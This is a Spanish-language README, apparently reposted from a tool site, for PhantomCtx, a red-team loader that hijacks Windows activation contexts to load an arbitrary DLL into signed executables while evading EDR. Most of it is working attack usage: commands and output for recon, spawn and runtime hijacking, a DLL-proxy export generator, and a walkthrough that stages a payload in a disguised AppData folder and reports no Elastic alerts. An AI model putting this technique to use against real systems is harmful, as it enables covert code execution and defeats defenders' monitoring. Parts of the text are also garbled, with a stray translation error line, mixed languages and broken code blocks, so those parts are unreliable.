PhantomCtx

PhantomCtx es una herramienta que automatiza el secuestro de contextos de activación con el objetivo de cargar una DLL arbitraria en la gran mayoría de ejecutables firmados (p. ej. Microsoft, Adobe, Mozilla).

El cargador se presenta como una alternativa moderna al secuestro y sideloading de DLL: a diferencia de los enfoques convencionales, no requiere un binario vulnerable. La técnica se puede realizar siempre que el ejecutable de destino resuelva una DLL a través de su tabla de direcciones de importación (IAT) o, en el peor de los casos, mediante LoadLibrary sin una ruta absoluta.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.

Para una inmersión más profunda en cómo funciona internamente y cómo evade soluciones EDR agresivas, consulta el artículo en [mi blog técnico](https://rexmax.dev/posts/phantomctx-new-approach-to-activation-context-hijacking-for-edr-evasion/).

# Tabla de Contenidos

- [Mecanismo Interno](#internal-mechanism)
  - [Un Nuevo Método para el Secuestro de Contexto de Activación Centrado en la Evasión de EDR](#a-new-method-for-activation-context-hijacking-focused-on-edr-evasion)
- [Cómo Compilar](#how-to-compile)
- [Uso: Flujo de Trabajo Basado en Módulos](#usage-module-based-workflow)
  - [Reconocimiento](#recon)
  - [Spawn (recomendado)](#spawn-recommended)
  - [Runtime](#runtime)
- [Ejemplo: Secuestro de Contexto de Activación + Proxy DLL de mpnotify.exe](#example-activation-context-hijacking--dll-proxying-mpnotifyexe)
- [Descargo de Responsabilidad](#disclaimer)
- [Referencias](#references)

# Mecanismo Interno

`PhantomCtx` abusa de una característica **legítima** de Windows presente en la mayoría de los procesos, llamada **Contextos de Activación**. Según Microsoft:

> Los [_contextos de activación_](https://learn.microsoft.com/en-us/windows/win32/sbscs/a-sbscs-gly) son estructuras de datos en memoria que contienen información que el sistema puede usar para redirigir una aplicación **a cargar una versión específica de DLL**, una instancia de objeto COM o una versión personalizada de ventana...

Cuando el cargador de Windows resuelve una DLL (mediante `LoadLibrary` o la tabla de importación), sigue un orden de resolución definido:

1. Redirección de DLL
2. API sets
3. **Redirección de manifiesto SxS**
4. Lista de módulos cargados
5. DLL conocidas
6. Gráfico de dependencias del paquete del proceso
7 – 12. Orden de búsqueda de archivos estándar en disco

`PhantomCtx` apunta al paso 3: **Redirección de manifiesto SxS**. Los Contextos de Activación se derivan de archivos [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`) asociados con los ejecutables, normalmente incrustados en binarios PE. Internamente, un Contexto de Activación contiene una **Tabla de Contenidos (ToC)** que indexa múltiples secciones, incluida la **sección de redirección de DLL**. El cargador normalmente accede a los Contextos de Activación a través de `PEB.ActivationContextData`.

La investigación de [Kurosh Dabbagh Escalante](https://github.com/Kudaes) demostró que se puede construir un Contexto de Activación malicioso usando `CreateActCtxW`, escribirlo en memoria `RW` en un proceso objetivo y luego activarlo sobrescribiendo `PEB.ActivationContextData` para que apunte a la estructura manipulada.

Una vez secuestrado, el cargador resuelve las redirecciones de DLL definidas dentro del Contexto de Activación malicioso, **redirigiendo la resolución de bibliotecas** a rutas controladas por el atacante.

El cargador llamado `Eclipse`, desarrollado como parte de su investigación, se puede encontrar en su [repositorio oficial](https://github.com/Kudaes/Eclipse).

## Un Nuevo Método para el Secuestro de Contexto de Activación Centrado en la Evasión de EDR

Después de múltiples pruebas, `Eclipse` fue detectado por EDR agresivos como Elastic en los siguientes puntos:

- `Potential Suspended Process Code Injection`: creación de procesos suspendidos seguida de `NtWriteVirtualMemory` para copiar el blob de AC en el proceso remoto.
- `Remote Process Memory Write by Low Reputation Module`: `NtWriteVirtualMemory` sin `CreateProcess` en la pila de llamadas y un módulo de baja reputación, necesario para sobrescribir `PEB.ActivationContextData`.
- `Remote Memory Write to Trusted Target Process`: `WriteProcessMemory` sin `CreateProcess` en la pila de llamadas, restringido a binarios instalados por el sistema o el usuario.

Después de un día de investigación buscando enfoques alternativos para implementar en `PhantomCtx`, descubrí que **la región de memoria del Contexto de Activación original es una vista de sección mapeada durante la creación del proceso**. Es posible **desmapear esta vista de sección usando** `NtUnmapViewOfSection` y luego crear una nueva vista de sección de solo lectura respaldada por nuestro Contexto de Activación malicioso, mapeándola en la **misma dirección de memoria exacta** donde residía la original.

Como resultado, **ya no es necesario** que el cargador sobrescriba el puntero `PEB.ActivationContextData`. Esto elimina la necesidad de usar `NtAllocateVirtualMemory` y `NtWriteVirtualMemory`, evadiendo todas las reglas de monitoreo de EDR relacionadas con escrituras de memoria en procesos remotos e inyección.

Además, para aumentar la dificultad de detección, `PhantomCtx` no usa `CreateActCtxW`, eliminando la necesidad de manejar archivos `.manifest` durante el ataque. Dependiendo del modo seleccionado, puede **robar el Contexto de Activación de otro proceso remoto** que contenga una sección de redirección de DLL válida usando `NtReadVirtualMemory`, reconstruir las entradas de redirección de DLL localmente, parchearlo y luego reemplazar el original.

# Cómo Compilar

Para compilar la herramienta, se recomienda usar Visual Studio o un compilador compatible.

Si se usa VS, abra el `x64 Native Tools Command Prompt for VS`, navegue al directorio raíz del proyecto y compílelo con `compile.bat`:```
C:\PhantomCtx>.\compile.bat
[INFO] Created output directory: x64
[INFO] Compiling PhantomCtx...
main.c
utils.c
recon.c
actctx.c
c_runtime.c
dynamic_resolution.c
process_utils.c
spawn.c
runtime.c
Generating Code...
[SUCCESSFUL] Build successful: x64\PhantomCtx.exe

Uso: Flujo de trabajo basado en módulos

La herramienta está diseñada con una arquitectura modular para simplificar el desarrollo y, al mismo tiempo, proporcionar al operador un flujo de trabajo claro y basado en pasos.

Cada módulo cumple una función específica dentro del flujo de trabajo de explotación.

¡¡¡Tómese un momento para revisar el propósito de cada uno y aprovechar al máximo las capacidades de la herramienta!!!

El ataque puede realizarse sobre un proceso que se va a lanzar (recomendado) o sobre un proceso ya en ejecución. La herramienta está diseñada para manejar ambos escenarios.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.

## Recon

El modo `recon` se centra en analizar el contexto de activación del programa objetivo o del proceso en ejecución. Es el primer módulo que debe ejecutarse, ya que determina qué submódulo de explotación debe utilizarse dentro del flujo de trabajo de explotación.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]

  Submodes:
        -s spawn        Spawn a process in suspended mode to retrieve its
                        Activation Context DLL redirection information.

        -s runtime      Attach to a currently running process to retrieve its
                        Activation Context DLL redirection information.

  Examples:
        PhantomCtx.exe -m recon -s spawn   -p C:\path\to\target.exe
        PhantomCtx.exe -m recon -s runtime -p target.exe

Como ejemplo, usamos el binario firmado de Microsoft mpnotify.exe. El primer paso es determinar si contiene un Contexto de Activación válido con una sección de redirección de DLL.

Si no lo contiene, la herramienta recomienda el submódulo steal-context bajo los modos spawn o runtime, que recupera un Contexto de Activación de otro proceso que contenga una sección de redirección válida.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe" [SUCCESS] Suspended process created... [SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes)

+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x394 (916 bytes) | Flags : 0x00000000 | +--[ TOC ] 6 entries | [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218 | [01] Id=4 Format=2 Offset=0x02EC Length=0x0028 | [02] Id=5 Format=2 Offset=0x0314 Length=0x0028 | [03] Id=6 Format=2 Offset=0x033C Length=0x0028 | [04] Id=9 Format=2 Offset=0x0364 Length=0x0028 | [05] Id=11 Format=1 Offset=0x038C Length=0x0008 | +--[ DLL REDIRECTION ] not present in this blob | +--[ HINT ] Use 'steal-context' to steal the Activation Context from a running process that has one. Example: -m spawn|runtime -s steal-context -p -d --dll-path --steal-from

Si el contexto de activación del programa o proceso de destino contiene una sección válida de redirección de DLL, el enfoque más eficiente es utilizar los submódulos `add-entry` o `patch-entry` dentro de los modos de explotación `spawn` o `runtime`.

## Spawn (recomendado)

El modo `spawn` está diseñado para realizar el secuestro del contexto de activación (Activation Context hijacking) al generar un proceso a partir de un ejecutable firmado en el sistema de destino.

Este método es el **más recomendado** y el más probado, debido a su simplicidad operativa y fiabilidad.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]

  Submodes:
        -s steal-context        Spawn a process and hijack its Activation Context
                                by stealing the context from another running process.

        -s add-entry            Spawn a process and hijack its Activation Context
                                by adding a new DLL redirection entry.

        -s patch-entry          Spawn a process and hijack its Activation Context
                                by patching the path of an existing DLL redirection entry.

  Options:
        -p <PATH>               Path to the target executable to spawn.
        -d <DLL>                Name of the DLL to hijack (e.g. comctl32.dll).
        --dll-path <PATH>       Path to the custom DLL to load.

  steal-context Options:
        --steal-from <NAME>     Process name to steal the Activation Context from.

  Examples:
        PhantomCtx.exe -m spawn -s steal-context  -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s add-entry      -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s patch-entry    -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

El flujo de trabajo interno de este modo es el siguiente:

Crear el proceso objetivo en estado suspendido usando CreateProcessW.
Dependiendo del submódulo seleccionado:
- steal-context: Abrir el proceso del que se roba el contexto y copiar un contexto de activación válido que contenga una sección de redirección de DLL en un búfer local. Dependiendo de si ya existe una entrada para la DLL objetivo, se crea una nueva entrada o se parchea una existente. El contexto de activación modificado se mapea entonces en el proceso suspendido, reemplazando al original.
- add-entry: Abrir el proceso del programa suspendido y copiar su contexto de activación en un búfer local. Se añade una nueva entrada de redirección de DLL para la DLL especificada, y el contexto de activación modificado reemplaza al original.
- patch-entry: Abrir el proceso del programa suspendido y copiar su contexto de activación en un búfer local. La entrada de redirección de DLL existente para la DLL especificada se parchea para que apunte a la ruta de la DLL de payload proporcionada, y el contexto de activación modificado reemplaza al original.
Reanudar la ejecución del proceso suspendido usando ResumeThread.

El submódulo steal-context se recomienda cuando el ejecutable objetivo no contiene un contexto de activación válido ni una sección de redirección de DLL válida. Esto se puede determinar utilizando el módulo recon ejecutado previamente.

Un objetivo fiable para el robo de contexto es explorer.exe. Esto no introduce inestabilidad ni riesgo de detección, ya que la operación solo implica leer memoria virtual.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll [SUCCESS] Found 'explorer.exe' PID 1604 [SUCCESS] Opened handle to PID 1604 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\hijack\hijack.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2040 -> 0x20E4 [SUCCESS] Blob patched. New TotalSize = 0x20E4

[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000 [SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address) [SUCCESS] Target process resumed. ``` Los submódulos `add-entry` y `patch-entry` se utilizan cuando **la aplicación ya tiene un Contexto de Activación válido con una sección de redirección de DLL** y:

Ya contiene una entrada de redirección para una DLL; en este caso, patch-entry es la opción adecuada.
Es necesario añadir una redirección personalizada para una librería que se espera que se cargue durante la ejecución; en este caso, se utiliza add-entry.

Aunque steal-context también se puede usar en estos escenarios, generalmente no es necesario, ya que ya hay un Contexto de Activación válido disponible para modificar.

Un ejemplo de patch-entry se puede observar tras enumerar msedge.exe con PhantomCtx, donde se identifica una entrada de redirección personalizada existente para msedge_elf.dll:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll ``` Alternativamente, al enumerar el IAT del proceso de destino, se pueden identificar DLL importadas adecuadas para el secuestro. Por ejemplo, `librewolf.exe` importa `SHLWAPI.dll` incluso si no está presente en el manifiesto de contexto de activación; en tales casos, se puede añadir a la tabla de redirección para forzar la resolución.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

El modo runtime está diseñado para realizar el secuestro del Contexto de Activación en un proceso firmado y ya en ejecución.

Aunque este módulo está implementado, su eficacia depende de saber con precisión cuándo y qué biblioteca específica se carga durante el tiempo de ejecución del proceso. Como resultado, incluso si el Contexto de Activación del proceso legítimo es secuestrado, el éxito aún depende de que el objetivo llame a LoadLibrary sin una ruta explícita, lo que a menudo es difícil de predecir.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]

Submodes: -s steal-context Hijack the Activation Context of a running process by stealing the context from another running process.

    -s add-entry            Hijack the Activation Context of a running process
                            by adding a new DLL redirection entry.

    -s patch-entry          Hijack the Activation Context of a running process
                            by patching the path of an existing DLL redirection entry.

Options: -p <PROCESS_NAME> Name of the already running target process (e.g. notepad.exe). -d Name of the DLL to hijack (e.g. comctl32.dll). --dll-path Path to the custom DLL to load.

steal-context Options: --steal-from Process name to steal the Activation Context from.

Examples: PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

The internal workflow of this mode is as follows:
1. El PID del proceso objetivo se identifica a partir de su nombre de ejecutable, y el proceso se abre con los permisos `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION`.
2. Dependiendo del submódulo seleccionado:
    - `steal-context`: Abre el proceso del que se roba el contexto y copia un contexto de activación válido que contiene una sección de redirección de DLL en un búfer local. Según si ya existe una entrada para la DLL objetivo, se crea una nueva entrada o se parchea la existente. El contexto de activación modificado se asigna entonces en el proceso en ejecución, reemplazando al original.
	  
	- `add-entry`: Abre el proceso objetivo en ejecución y copia su contexto de activación en un búfer local. Se añade una nueva entrada de redirección de DLL para la DLL especificada, y el contexto de activación modificado reemplaza al original.
	  
	- `patch-entry`: Abre el proceso objetivo en ejecución y copia su contexto de activación en un búfer local. La entrada de redirección de DLL existente para la DLL especificada se parchea para que apunte a la DLL de payload proporcionada, y el contexto de activación actualizado reemplaza al original.

El submódulo `steal-context` se recomienda cuando **el proceso objetivo en ejecución no contiene un contexto de activación válido ni una sección de redirección de DLL válida**. Esto se puede determinar mediante el módulo `recon` ejecutado previamente.

Un objetivo fiable para el robo de contexto es `explorer.exe`. Esto no introduce inestabilidad ni riesgo de detección, ya que la operación solo implica leer memoria virtual.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll

<SNIP>

[INFO] Patched ActivationContextData:

<SNIP>
|
+--[ DLL REDIRECTION ] 3 entries
|  [00] user32.dll
|       PseudoKey  : 0x0DB00860
|       RosterIdx  : 1
|       Flags      : PATH_INCLUDES_BASE_NAME
|       Segments   : 1  PathLen=40 bytes
|       Path       : C:\hijack\hijack.dll

<SNIP>
[SUCCESS] Activation Context hijacked in running process 'cmd.exe'.

The add-entry y patch-entry submodules se utilizan cuando el proceso en ejecución ya tiene un contexto de activación válido con una sección de redirección de DLL y:

Ya contiene una entrada de redirección para una DLL; en este caso, patch-entry es la opción adecuada.
Es necesario añadir una redirección personalizada para una biblioteca que se espera que se cargue durante la ejecución; en este caso, se utiliza add-entry.

Aunque steal-context todavía se puede utilizar en estos escenarios, generalmente no es necesario, ya que ya se dispone de un contexto de activación válido para su modificación.

Se puede observar un ejemplo de patch-entry tras enumerar el proceso msedge.exe con PhantomCtx, donde se identifica una entrada de redirección personalizada existente para msedge_elf.dll:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe

C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` Alternativamente, al enumerar los eventos en tiempo de ejecución del proceso objetivo, se pueden identificar DLLs cargadas durante la ejecución que son adecuadas para el secuestro mediante herramientas como `Procmon`. En tales casos, se puede añadir a la tabla de redirección para forzar la resolución.```c .\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

Veamos un caso práctico en el que PhantomCtx permanece indetectable en una máquina Windows 11 totalmente actualizada que ejecuta el agente Elastic Cloud XDR con TODAS las reglas habilitadas y configuradas en modo Prevent para que sea lo más agresivo posible.

Ten en cuenta que apuntaremos a binarios de Windows 11; por lo tanto, si nuestra máquina atacante ejecuta Windows 10, necesitamos transferir los ejecutables y DLL analizados a nuestra máquina.

El primer paso es identificar un ejecutable de Windows que importe DLL relevantes.

En este caso, usaremos PE-Bear para inspeccionar la Tabla de Direcciones de Importación (IAT) del ejecutable firmado C:\Windows\System32\mpnotify.exe, donde ADVAPI32.dll puede identificarse como una de sus importaciones:

Para evitar que la aplicación se bloquee o muestre un comportamiento inesperado al cargar nuestro payload, se debe realizar un proxy de DLL para que nuestro payload reenvíe las llamadas a la DLL original.

Se utilizará DLL Export Viewer para extraer todas las funciones exportadas de ADVAPI32.dll y generar las directivas de reenvío que se especificarán en el código fuente de nuestra DLL proxy.

Una vez que C:\Windows\System32\advapi32.dll esté abierto en DLL Export Viewer, navega a View > HTML Report - All Functions.

Es necesario mantener abierta la ventana del navegador para que el archivo report.html generado permanezca disponible. Luego se copia la ruta del archivo y se procesa con el siguiente script de Python desarrollado por itm4n:```python """ The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately. """ from future import print_function import argparse

def main(): parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser") parser.add_argument("report", help="the HTML report generated by DLL Export Viewer") args = parser.parse_args() report = args.report

try:
    f = open(report)
    page = f.readlines()
    f.close()
except:
    print("[-] ERROR: open('%s')" % report)
    return

for line in page:
    if line.startswith("<tr>"):
        cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
        function_name = cols[1]
        ordinal = cols[4].split(' ')[0]
        dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
        print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if name == 'main': main()

[No content provided in the INPUT section. Please paste the Markdown text you wish to have translated.]```c
C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html
#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002")
#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003")
#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004")
<SNIP>

Todas las exportaciones de la salida se copian en el código fuente de payload.c, después de lo cual el DLL se compila y se coloca junto a PhantomCtx en la máquina del atacante, junto con una copia de la biblioteca original renombrada como advapi32_orig.dll.

Los archivos requeridos deben organizarse de la siguiente manera:```c C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir

06/13/2026 08:53 PM 158,208 advapi32.dll 06/10/2026 01:52 AM 753,544 advapi32_orig.dll 06/13/2026 08:28 PM 198,144 PhantomCtx.exe

Los archivos se transfieren luego a un directorio en la máquina objetivo con Windows 11. En este caso, se colocan en:```
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache

Después, se realiza un secuestro del contexto de activación contra el binario mpnotify.exe usando PhantomCtx:```c C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll" [SUCCESS] Found 'explorer.exe' PID 6380 [SUCCESS] Opened handle to PID 6380 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2054 -> 0x2166 [SUCCESS] Blob patched. New TotalSize = 0x2166

[INFO] Patched ActivationContextData:

[SUCCESS] Suspended process created... [INFO] Original PEB.ActivationContextData = 0000021D10BA0000 [SUCCESS] Patched blob written to section (8550 bytes) [SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000 [SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address) [SUCCESS] Target process resumed.

En este caso, el DLL de la carga útil ejecuta `calc.exe`. No se generaron alertas.

![](https://assets.kitploit.com/production/public/readmes/8764/520c6f0b907c6e07fef747a8e0139a9f268f0a83fab1964b4d0e28a144144d93.png)

![](https://assets.kitploit.com/production/public/readmes/8764/de01fe20cd0f075525a0cd388b47d0cf4435f54119b87fab0363c5e82b2663d7.png)

# Aviso legal

Esta herramienta fue desarrollada con **fines educativos personales** y está destinada exclusivamente 
a profesionales de la seguridad y operadores de red team que trabajen en **entornos autorizados**.

El uso de PhantomCtx contra sistemas sin permiso explícito es **ilegal** y 
está estrictamente prohibido. El autor no se hace responsable de ningún uso indebido o daño causado 
por esta herramienta.

# Referencias
- [Secuestro del contexto de activación por Kurosh Dabbagh - Conferencia Navaja](https://www.youtube.com/watch?v=qu4fXWKjabY)
- [Activation Context Hijack 'Eclipse' Loader](https://github.com/Kudaes/Eclipse)
- [NtDoc](https://ntdoc.m417z.com/)
- [Código fuente de ReactOS](https://github.com/reactos/reactos)
- [Libro de Windows Internals](https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals)

PhantomCtx

Más Populares

PhantomCtx

Uso: Flujo de trabajo basado en módulos